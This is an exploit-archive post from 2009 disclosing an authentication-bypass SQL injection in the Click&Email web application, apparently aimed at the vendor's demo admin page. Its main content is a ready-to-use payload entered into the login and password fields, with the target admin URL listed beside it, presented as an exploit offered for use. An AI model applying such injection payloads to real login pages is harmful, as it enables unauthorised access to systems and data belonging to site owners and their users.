[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Click&Email (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-01-18
# Author : SuB-ZeRo
# Previous Title : DS-IPN.NET Digital Sales IPN Database Disclosure Vulnerability
# Next Title : SCMS v1 (index.php p) Local File Inclusion Vulnerability
* Founded By : SuB-ZeRo (WaLiD)
* E-mail : Fbh@hotmail.com
* Home : WwW.dz-security.Net
* GreeTZ : Evils-dz & X.CJP.x & www.dz-security.net & gaza
---------------------------------------------------------
vondor : http://icash.ch
---------------------------------------------------------
Exploit Auth Bypass:
login: ' or ' 1=1
passw: ' or ' 1=1
----------------------------------------------------------
-[!]
Demo :
http://icash.ch/ClickAndEmailDemo/admin.asp
----------------------------------------------------------
# www.Syue.com [2009-01-18]